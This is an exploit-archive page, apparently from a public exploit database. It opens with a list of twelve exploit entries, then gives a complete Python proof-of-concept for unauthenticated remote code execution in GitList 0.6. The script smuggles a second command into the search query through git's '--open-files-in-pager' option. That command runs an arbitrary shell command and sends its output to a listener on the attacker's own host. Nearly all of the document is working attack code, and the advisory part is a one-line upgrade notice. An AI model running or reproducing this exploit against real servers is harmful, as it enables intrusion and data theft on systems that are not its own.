b1f00227f1
12 changes to exploits/shellcodes Free Download Manager 2.0 Built 417 - Local Buffer Overflow (SEH) Allok AVI to DVD SVCD VCD Converter 4.0.1217 - Buffer Overflow (SEH) Eudora Qualcomm WorldMail 9.0.333.0 - IMAPd Service UID Buffer Overflow Shopy Point of Sale v1.0 - CSV Injection Shopy Point of Sale 1.0 - CSV Injection Drupal < 7.58 - 'drupalgeddon3' Authenticated Remote Code Execution (PoC) Blog Master Pro v1.0 - CSV Injection HRSALE The Ultimate HRM v1.0.2 - CSV Injection HRSALE The Ultimate HRM v1.0.2 - 'award_id' SQL Injection Blog Master Pro 1.0 - CSV Injection HRSALE The Ultimate HRM 1.0.2 - CSV Injection HRSALE The Ultimate HRM 1.0.2 - 'award_id' SQL Injection HRSALE The Ultimate HRM v1.0.2 - Local File Inclusion HRSALE The Ultimate HRM 1.0.2 - Local File Inclusion Jfrog Artifactory < 4.16 - Unauthenticated Arbitrary File Upload / Remote Command Execution WordPress Plugin WP with Spritz 1.0 - Remote File Inclusion SickRage < v2018.03.09 - Clear-Text Credentials HTTP Response October CMS User Plugin 1.4.5 - Persistent Cross-Site Scripting MyBB Threads to Link Plugin 1.3 - Cross-Site Scripting GitList 0.6 - Unauthenticated Remote Code Execution TP-Link Technologies TL-WA850RE Wi-Fi Range Extender - Unauthenticated Remote Reboot Frog CMS 0.9.5 - Persistent Cross-Site Scripting
100 lines
No EOL
2.6 KiB
Python
Executable file
100 lines
No EOL
2.6 KiB
Python
Executable file
'''
|
|
# Exploit Title: GitList 0.6 Unauthenticated RCE
|
|
# Date: 25-04-2018
|
|
# Software Link: https://github.com/klaussilveira/gitlist
|
|
# Exploit Author: Kacper Szurek
|
|
# Contact: https://twitter.com/KacperSzurek
|
|
# Website: https://security.szurek.pl/
|
|
# Category: remote
|
|
|
|
1. Description
|
|
|
|
Bypass/Exploit `escapeshellarg` using argument injection: `git grep --open-files-in-pager=whoami`.
|
|
|
|
More info about this technique:
|
|
|
|
https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html
|
|
|
|
2. Proof of Concept
|
|
'''
|
|
|
|
import requests
|
|
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
|
|
import urlparse
|
|
import urllib
|
|
import threading
|
|
import time
|
|
import os
|
|
import re
|
|
|
|
url = 'http://192.168.1.1/gitlist/'
|
|
command = 'id'
|
|
your_ip = '192.168.1.100'
|
|
your_port = 8001
|
|
|
|
print "GitList 0.6 Unauthenticated RCE"
|
|
print "by Kacper Szurek"
|
|
print "https://security.szurek.pl/"
|
|
|
|
print "REMEMBER TO DISABLE FIREWALL"
|
|
|
|
search_url = None
|
|
r = requests.get(url)
|
|
repos = re.findall(r'/([^/]+)/master/rss', r.text)
|
|
|
|
if len(repos) == 0:
|
|
print "[-] No repos"
|
|
os._exit(0)
|
|
|
|
for repo in repos:
|
|
print "[+] Found repo {}".format(repo)
|
|
r = requests.get("{}{}".format(url, repo))
|
|
files = re.findall(r'href="[^\"]+blob/master/([^\"]+)"', r.text)
|
|
for file in files:
|
|
r = requests.get("{}{}/raw/master/{}".format(url, repo, file))
|
|
print "[+] Found file {}".format(file)
|
|
print r.text[0:100]
|
|
search_url = "{}{}/tree/{}/search".format(url, repo, r.text[0:1])
|
|
break
|
|
|
|
if not search_url:
|
|
print "[-] No files in repo"
|
|
os._exit(0)
|
|
|
|
print "[+] Search using {}".format(search_url)
|
|
|
|
class GetHandler(BaseHTTPRequestHandler):
|
|
def do_GET(self):
|
|
parsed_path = urlparse.urlparse(self.path)
|
|
print "[+] Command response"
|
|
print urllib.unquote_plus(parsed_path.query).decode('utf8')[2:]
|
|
self.send_response(200)
|
|
self.end_headers()
|
|
self.wfile.write("OK")
|
|
os._exit(0)
|
|
|
|
def log_message(self, format, *args):
|
|
return
|
|
|
|
def exploit_server():
|
|
server = HTTPServer((your_ip, your_port), GetHandler)
|
|
server.serve_forever()
|
|
|
|
print "[+] Start server on {}:{}".format(your_ip, your_port)
|
|
t = threading.Thread(target=exploit_server)
|
|
t.daemon = True
|
|
t.start()
|
|
print "[+] Server started"
|
|
|
|
r = requests.post(search_url, data={'query':'--open-files-in-pager=php -r "file_get_contents(\\"http://{}:{}/?a=\\".urlencode(shell_exec(\\"{}\\")));"'.format(your_ip, your_port, command)})
|
|
|
|
while True:
|
|
time.sleep(1)
|
|
|
|
'''
|
|
3. Solution:
|
|
|
|
Update to version 0.7.0
|
|
|
|
https://github.com/klaussilveira/gitlist/releases/tag/0.7.0
|
|
''' |